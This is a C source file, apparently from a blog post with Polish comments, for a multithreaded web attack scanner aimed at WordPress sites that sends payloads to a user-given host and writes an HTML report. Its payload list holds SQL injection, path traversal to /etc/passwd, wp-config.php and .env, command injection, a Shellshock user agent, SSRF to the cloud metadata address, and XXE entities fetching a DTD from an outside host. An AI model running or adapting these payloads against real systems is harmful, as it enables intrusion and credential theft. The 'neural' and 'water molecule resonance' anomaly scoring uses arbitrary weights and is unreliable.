#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <math.h>
#include <pthread.h>
#include <sys/time.h>
#include <time.h>
#define MAX_BUFFER 8192
#define NUM_THREADS 1 // Liczba w膮tk贸w roboczych D偶ina
// --- ANSI KOLORY DLA KONSOLI ---
#define RESET "\033[0m"
#define RED "\033[1;31m"
#define GREEN "\033[1;32m"
#define YELLOW "\033[1;33m"
#define CYAN "\033[1;36m"
#define MAGENTA "\033[1;35m"
#define BOLD "\033[1m"
// --- 1. ARCHITEKTURA CHEMIA-AI (EVOLVING H2O) ---
typedef struct {
unsigned char* matrix_buffer;
size_t matrix_size;
} GenieOcean;
typedef struct {
float w_hidden[3][4];
float b_hidden[4];
float w_output[4];
float b_output;
int generation;
} MicroNeuralNet;
// 1. Atom Tlenu / Model G艂贸wny (ONNX-bound)
MicroNeuralNet trained_model = {
.w_hidden = { { 1.2f, -0.5f, 2.1f, 0.1f },
{-0.8f, 1.5f, -0.3f, 0.9f },
{ 0.4f, 0.2f, 1.1f, -1.2f } },
.b_hidden = { -0.1f, 0.0f, 0.2f, -0.5f },
.w_output = { 1.5f, 2.0f, -1.1f, 0.8f },
.b_output = -0.7f,
.generation = 1
};
// 2. Czysty Atom Wodoru / Model Reverse (Ewoluuj膮cy jon H+)
MicroNeuralNet reverse_model = {
.w_hidden = { {-0.5f, 1.2f, -1.1f, 0.4f },
{ 1.1f, -0.8f, 0.3f, -1.5f },
{-0.2f, 0.4f, -1.9f, 0.8f } },
.b_hidden = { 0.2f, -0.1f, -0.4f, 0.3f },
.w_output = { -1.1f, 1.8f, 0.9f, -0.5f },
.b_output = 0.4f,
.generation = 1
};
// --- SYNCHRONIZACJA W膭TK脫W I RATE-LIMIT ---
pthread_mutex_t task_mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t rate_mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t print_mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t file_mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t ocean_mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t evo_mutex = PTHREAD_MUTEX_INITIALIZER;
long long next_allowed_time_us = 0;
int global_task_index = 0;
unsigned int global_binary_ocean_seed = 1337;
typedef struct {
const char *host;
int port;
const char **paths;
int num_paths;
const char **payloads;
int num_payloads;
const char **user_agents;
int num_uas;
GenieOcean *ocean;
const char *report_filename;
} ThreadArgs;
// --- ALGORYTM GENETYCZNY: MUTACJA WAG ---
void mutate_micro_nn(MicroNeuralNet *net, float mutation_intensity) {
pthread_mutex_lock(&evo_mutex);
net->generation++;
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 4; j++) {
net->w_hidden[i][j] += (((float)rand() / (float)RAND_MAX) - 0.5f) * mutation_intensity;
}
}
for (int j = 0; j < 4; j++) {
net->b_hidden[j] += (((float)rand() / (float)RAND_MAX) - 0.5f) * mutation_intensity;
net->w_output[j] += (((float)rand() / (float)RAND_MAX) - 0.5f) * mutation_intensity;
}
net->b_output += (((float)rand() / (float)RAND_MAX) - 0.5f) * mutation_intensity;
pthread_mutex_unlock(&evo_mutex);
}
// --- POMOCNICZE FUNKCJE CZASU I RATE-LIMITU ---
long long get_time_us() {
struct timeval tv;
gettimeofday(&tv, NULL);
return (long long)tv.tv_sec * 1000000LL + tv.tv_usec;
}
void global_rate_limit() {
pthread_mutex_lock(&rate_mutex);
long long now = get_time_us();
if (now < next_allowed_time_us) {
long long sleep_time = next_allowed_time_us - now;
pthread_mutex_unlock(&rate_mutex);
usleep(sleep_time);
pthread_mutex_lock(&rate_mutex);
now = get_time_us();
}
if (next_allowed_time_us < now) {
next_allowed_time_us = now + 200000;
} else {
next_allowed_time_us += 200000;
}
pthread_mutex_unlock(&rate_mutex);
}
// --- ZARZ膭DZANIE OCEANEM W RAM ---
void init_genie_ocean(GenieOcean* ocean, const char* filename) {
FILE* f = fopen(filename, "rb");
if (!f) {
ocean->matrix_size = 4304;
ocean->matrix_buffer = (unsigned char*)malloc(ocean->matrix_size);
if (ocean->matrix_buffer) memset(ocean->matrix_buffer, 0xAF, ocean->matrix_size);
return;
}
fseek(f, 0, SEEK_END);
long size = ftell(f);
fseek(f, 0, SEEK_SET);
ocean->matrix_buffer = (unsigned char*)malloc(size);
if (!ocean->matrix_buffer) { fclose(f); return; }
fread(ocean->matrix_buffer, 1, size, f);
fclose(f);
ocean->matrix_size = (size_t)size;
if (ocean->matrix_size > 4) {
unsigned int initial_bytes = *((unsigned int*)ocean->matrix_buffer);
pthread_mutex_lock(&ocean_mutex);
global_binary_ocean_seed ^= initial_bytes;
pthread_mutex_unlock(&ocean_mutex);
}
}
// --- KLASYCZNY RAPORT HTML DLA INFORMATYKA (PROCENTY) ---
void init_html_report(const char *filename, const char *host) {
FILE *f = fopen(filename, "w");
if (!f) return;
fprintf(f, "<!DOCTYPE html>\n<html lang=\"pl\">\n<head>\n");
fprintf(f, "<meta charset=\"UTF-8\">\n");
fprintf(f, "<title>D偶in AI - Raport z Audytu Bezpiecze艅stwa (%s)</title>\n", host);
fprintf(f, "<style>\n");
fprintf(f, "body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background-color: #0f172a; color: #f8fafc; margin: 40px; }\n");
fprintf(f, "h1 { color: #38bdf8; display: flex; align-items: center; gap: 10px; }\n");
fprintf(f, ".meta { background: #1e293b; padding: 15px; border-radius: 8px; margin-bottom: 20px; border-left: 4px solid #38bdf8; }\n");
fprintf(f, "table { width: 100%%; border-collapse: collapse; background: #1e293b; border-radius: 8px; overflow: hidden; }\n");
fprintf(f, "th, td { padding: 12px 16px; border-bottom: 1px solid #334155; text-align: left; }\n");
fprintf(f, "th { background: #334155; color: #38bdf8; text-transform: uppercase; font-size: 12px; letter-spacing: 1px; }\n");
fprintf(f, "tr:hover { background: #273548; }\n");
fprintf(f, "a { color: #38bdf8; text-decoration: none; }\n");
fprintf(f, "a:hover { text-decoration: underline; }\n");
fprintf(f, ".badge-red { background: #dc2626; color: white; padding: 4px 8px; border-radius: 4px; font-weight: bold; font-size: 11px; }\n");
fprintf(f, ".badge-green { background: #16a34a; color: white; padding: 4px 8px; border-radius: 4px; font-weight: bold; font-size: 11px; }\n");
fprintf(f, "code { background: #0f172a; padding: 2px 6px; border-radius: 4px; color: #e2e8f0; font-family: monospace; }\n");
fprintf(f, "</style>\n</head>\n<body>\n");
fprintf(f, "<h1>馃 Raport z Audytu Bezpiecze艅stwa - D偶in AI</h1>\n");
fprintf(f, "<div class=\"meta\">\n<p>Cel ataku / rekonesansu: <strong>%s</strong></p>\n", host);
fprintf(f, "<p>Status: Zako艅czono pomy艣lnie. Silnik: <em>Micro-NN + Rezonans H2O</em></p>\n</div>\n");
fprintf(f, "<table>\n<thead>\n<tr>\n");
fprintf(f, "<th>Testowany URL (Klikalny)</th>\n<th>Kod HTTP</th>\n<th>Odbicie XSS (Body)</th>\n<th>Anomaly Score</th>\n");
fprintf(f, "</tr>\n</thead>\n<tbody>\n");
fclose(f);
}
void append_html_row(const char *filename, const char *host, const char *full_target, int status_code, int is_reflected, float anomaly_percentage) {
FILE *f = fopen(filename, "a");
if (!f) return;
fprintf(f, "<tr>\n");
fprintf(f, "<td><a href=\"http://%s%s\" target=\"_blank\"><code>%s%s</code></a></td>\n", host, full_target, host, full_target);
fprintf(f, "<td><strong>%d</strong></td>\n", status_code);
if (is_reflected) {
fprintf(f, "<td><span class=\"badge-red\">TAK (POTENCJALNY XSS)</span></td>\n");
} else {
fprintf(f, "<td><span class=\"badge-green\">BRAK</span></td>\n");
}
fprintf(f, "<td><strong>%.2f%%</strong></td>\n", anomaly_percentage);
fprintf(f, "</tr>\n");
fclose(f);
}
void close_html_report(const char *filename) {
FILE *f = fopen(filename, "a");
if (!f) return;
fprintf(f, "</tbody>\n</table>\n");
fprintf(f, "<footer style=\"margin-top: 30px; text-align: center; color: #64748b; font-size: 12px;\">\n");
fprintf(f, "<p>Wygenerowane automatycznie przez autorski skaner Micro-NN D偶in AI</p>\n");
fprintf(f, "</footer>\n");
fprintf(f, "</body>\n</html>\n");
fclose(f);
}
// --- INFERENCJA SIECI NEURONOWEJ ---
float relu(float x) { return x > 0.0f ? x : 0.0f; }
float sigmoid(float x) { return 1.0f / (1.0f + expf(-x)); }
float ai_evaluate_response(int status_code, size_t response_len, int is_reflected, MicroNeuralNet *model) {
float inputs[3];
inputs[0] = (float)status_code / 500.0f;
inputs[1] = (float)response_len / 10000.0f;
inputs[2] = is_reflected ? 1.0f : 0.0f;
float hidden[4];
for (int j = 0; j < 4; j++) {
float sum = model->b_hidden[j];
for (int i = 0; i < 3; i++) {
sum += inputs[i] * model->w_hidden[i][j];
}
hidden[j] = relu(sum);
}
float output_sum = model->b_output;
for (int j = 0; j < 4; j++) {
output_sum += hidden[j] * model->w_output[j];
}
return sigmoid(output_sum);
}
// --- MECHANIZM REZONANSU (104.5°) ---
int check_water_molecule_resonance(float score_main, float score_reverse, float *out_angle) {
float val = fminf(fmaxf(score_main * score_reverse, -1.0f), 1.0f);
float angle = acosf(val) * (180.0f / 3.14159f);
if (out_angle) *out_angle = angle;
if (angle >= 98.0f && angle <= 111.0f) return 1;
return 0;
}
// --- W膭TEK ROBOCZY D呕INA ---
void *worker_routine(void *arg) {
ThreadArgs *args = (ThreadArgs *)arg;
int total_combinations = args->num_paths * args->num_payloads;
while (1) {
pthread_mutex_lock(&task_mutex);
int current_idx = global_task_index++;
pthread_mutex_unlock(&task_mutex);
if (current_idx >= total_combinations) break;
int p_idx = current_idx / args->num_payloads;
int l_idx = current_idx % args->num_payloads;
const char *path = args->paths[p_idx];
const char *payload = args->payloads[l_idx];
pthread_mutex_lock(&ocean_mutex);
unsigned int current_seed = global_binary_ocean_seed;
global_binary_ocean_seed = (global_binary_ocean_seed >> 1) ^ (global_binary_ocean_seed << 3);
if (args->ocean->matrix_buffer && args->ocean->matrix_size > 0) {
unsigned char b = args->ocean->matrix_buffer[current_idx % args->ocean->matrix_size];
global_binary_ocean_seed ^= b;
}
pthread_mutex_unlock(&ocean_mutex);
const char *selected_ua = args->user_agents[current_seed % args->num_uas];
global_rate_limit();
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) continue;
struct hostent *server = gethostbyname(args->host);
if (!server) { close(sockfd); continue; }
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
memcpy(&serv_addr.sin_addr.s_addr, server->h_addr, server->h_length);
serv_addr.sin_port = htons(args->port);
struct timeval tv;
tv.tv_sec = 2;
tv.tv_usec = 0;
setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tv, sizeof(tv));
if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
close(sockfd);
continue;
}
char full_target[1024];
char request[4096];
char buffer[MAX_BUFFER];
int is_post = (strstr(payload, "<form") != NULL ||
strstr(payload, "<?xml") != NULL ||
strstr(payload, "methodCall") != NULL ||
strstr(path, "xmlrpc.php") != NULL ||
strstr(path, "wp-comments-post.php") != NULL);
if (is_post) {
snprintf(full_target, sizeof(full_target), "%s", path);
char post_body[2048];
if (strstr(payload, "<?xml") != NULL || strstr(payload, "methodCall") != NULL) {
snprintf(post_body, sizeof(post_body), "%s", payload);
} else if (strstr(payload, "<form") != NULL) {
snprintf(post_body, sizeof(post_body), "payload=%s", payload);
} else {
snprintf(post_body, sizeof(post_body), "%s", payload);
}
int content_length = strlen(post_body);
const char *content_type = (strstr(payload, "<?xml") != NULL || strstr(payload, "methodCall") != NULL)
? "text/xml" : "application/x-www-form-urlencoded";
snprintf(request, sizeof(request),
"POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Content-Type: %s\r\n"
"Content-Length: %d\r\n"
"Connection: close\r\n\r\n"
"%s",
full_target, args->host, selected_ua, content_type, content_length, post_body);
} else {
if (strchr(path, '?') != NULL) {
snprintf(full_target, sizeof(full_target), "%s&%s", path, payload);
} else {
snprintf(full_target, sizeof(full_target), "%s%s", path, payload);
}
snprintf(request, sizeof(request),
"GET %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Accept: text/html,application/xhtml+xml,*/*;q=0.8\r\n"
"Connection: close\r\n\r\n",
full_target, args->host, selected_ua);
}
write(sockfd, request, strlen(request));
memset(buffer, 0, sizeof(buffer));
ssize_t bytes_received = read(sockfd, buffer, sizeof(buffer) - 1);
close(sockfd);
if (bytes_received > 0) {
int status_code = 0;
sscanf(buffer, "HTTP/1.1 %d", &status_code);
if (status_code == 0) sscanf(buffer, "HTTP/1.0 %d", &status_code);
int is_reflected = 0;
char *body = strstr(buffer, "\r\n\r\n");
if (body != NULL) {
body += 4;
if (strstr(body, payload) != NULL) {
is_reflected = 1;
}
}
// Ewaluacja sieci
float score_oxygen = ai_evaluate_response(status_code, (size_t)bytes_received, is_reflected, &trained_model);
float score_hydrogen = ai_evaluate_response(status_code, (size_t)bytes_received, is_reflected, &reverse_model);
float resonance_angle = 0.0f;
int is_snow_crystal = check_water_molecule_resonance(score_oxygen, score_hydrogen, &resonance_angle);
// Obliczenie finalnego wska藕nika anomalii w procentach dla informatyk贸w
float anomaly_percentage = ((score_oxygen + score_hydrogen) / 2.0f) * 100.0f;
// Mutacja genetyczna je艣li wykryto rezonans (p艂atek 艣niegu ro艣nie w tle)
if (is_snow_crystal) {
mutate_micro_nn(&reverse_model, 0.03f);
}
const char *status_color = (status_code == 200) ? GREEN : (status_code >= 400 ? RED : YELLOW);
const char *anomaly_color = (anomaly_percentage > 20.0f) ? GREEN : CYAN;
pthread_mutex_lock(&print_mutex);
printf("[%s | %s%s] -> HTTP %s%d" RESET " | Odbicie: %s | Anomaly: %s%.2f%%" RESET "\n",
is_post ? "POST" : "GET",
args->host, full_target, status_color, status_code,
is_reflected ? RED "TAK 馃毃" RESET : GREEN "BRAK" RESET,
anomaly_color, anomaly_percentage);
pthread_mutex_unlock(&print_mutex);
pthread_mutex_lock(&file_mutex);
append_html_row(args->report_filename, args->host, full_target, status_code, is_reflected, anomaly_percentage);
if (anomaly_percentage > 60.0f || is_reflected || is_snow_crystal) {
FILE *f = fopen("anomalies.log", "a");
if (f) {
fprintf(f, "=== ANOMALIA / SNOWFLAKE ===\nMethod: %s\nTarget: %s%s\nStatus: %d\nScore: %.2f%%\n\n",
is_post ? "POST" : "GET", args->host, full_target, status_code, anomaly_percentage);
fclose(f);
}
}
pthread_mutex_unlock(&file_mutex);
}
}
return NULL;
}
int main(int argc, char *argv[]) {
srand(time(NULL));
if (argc < 2) {
printf("U偶ycie: %s <host> [port]\n", argv[0]);
return 1;
}
const char *host = argv[1];
int port = (argc > 2) ? atoi(argv[2]) : 80;
const char *report_file = "report.html"; // Stara nazwa raportu dla informatyk贸w
GenieOcean ocean;
init_genie_ocean(&ocean, "network_anomaly.onnx");
init_html_report(report_file, host);
const char *paths[] = {
"/",
"/robots.txt",
"/xmlrpc.php", // Krytyczny endpoint WP dla XML-RPC / XXE / bruteforce
"/../../wp-config.php"
"/wp-login.php", // Strona logowania
"/wp-comments-post.php", // Endpoint komentarzy (POST)
"/wp-admin/post.php", // Panel post贸w
"/wp-admin/admin-ajax.php",
"/wp-json/wp/v2/posts", // REST API - Posty
"/wp-json/wp/v2/users", // REST API - Enumeracja u偶ytkownik贸w
"/?author=1", // Klasyczna enumeracja autora w WP
"/wp-content/",
"/wp-includes/",
"/.env",
"/wp-config.php"
};
const char *payloads[] = {
"?debug=true",
"?admin=1",
"?file=../../passwd",
"<form action='wp-comments-post.php' method='POST'> <input type='text' name='tytul' value='coment'/> <button type='submit'>Wy艣lij</button></form>",
"?q=<script>alert(1)</script>",
"?q=<b>help</b>",
"<form action='post.php' method='POST'> <input type='text' name='tytul' value='post.php'/> <button type='submit'>Wy艣lij</button></form>",
"?q=<input type='text' id='lname' name='lname' value='Doe'><br><br><input type='submit'>",
"?file=../../config.php",
"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM \"http://serwerlisner.prv.pl:80/evil.dtd\">%xxe;]><root>test</root>",
"?file=../../wp-config.php",
"?file=../../settings.py",
"?id=1' OR '1'='1",
"?file=../../.env",
"?id=1 UNION SELECT NULL,NULL,NULL--",
"?feed=http://localhost/internal-admin",
"url=http://serwerlisner.prv.pl/",
"?search=test' AND 1=CONVERT(int, @@version)--",
"?url=http://169.254.169.254/latest/meta-data/",
"exec=cat+/etc/passwd&url=https://serwerlisner.prv.pl/",
"?ping=127.0.0.1%3B+whoami",
"?exec=cat+/etc/passwd",
"<!DOCTYPE html><html lang=\"pl\"><head><meta charset=\"UTF-8\"><title>Upload</title></head><body><form id=\"f\" method=\"POST\" enctype=\"multipart/form-data\"><input type=\"file\" id=\"p\" required></form><script>window.addEventListener('keydown', e => {if (e.key === 'Enter') e.preventDefault();if (e.key === 'ArrowRight') {e.preventDefault();if (document.getElementById('p').files.length) document.getElementById('f').submit();}});</script></body></html>",
"?q=<input type='button' onclick='alert('Hello World!')' value='Click Me!'>",
"?q=<form method='POST'><form action='/action_page.php'><input type='file' id='myfile' name='myfile'><br><br><input type='submit' value='Submit'></from>",
// --- PAYLOADY XXE ---
"?q=<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><root>&xxe;</root>"
};
const char *user_agents[] = {
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) Firefox/123.0",
"Mozilla/5.0 () { : ;};cat /etc/passwd",
"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><root>&xxe;</root>"
};
ThreadArgs args = {
.host = host,
.port = port,
.paths = paths,
.num_paths = sizeof(paths) / sizeof(paths[0]),
.payloads = payloads,
.num_payloads = sizeof(payloads) / sizeof(payloads[0]),
.user_agents = user_agents,
.num_uas = sizeof(user_agents) / sizeof(user_agents[0]),
.ocean = &ocean,
.report_filename = report_file
};
int total_tests = args.num_paths * args.num_payloads;
printf(GREEN "馃 [D偶in]: Start audytu (Test贸w: %d, W膮tki: %d)...\n\n" RESET,
total_tests, NUM_THREADS);
pthread_t threads[NUM_THREADS];
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&threads[i], NULL, worker_routine, &args);
}
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(threads[i], NULL);
}
close_html_report(report_file);
if (ocean.matrix_buffer) free(ocean.matrix_buffer);
printf(GREEN "\n馃寵 Audyt zako艅czony! Sprawd藕 pliki:\n" RESET);
printf("馃搫 Raport graficzny: '%s' (z tradycyjnym Anomaly Score %%)\n", report_file);
printf("馃摑 Logi tekstowe: 'anomalies.log'\n");
return 0;
}
No comments:
Post a Comment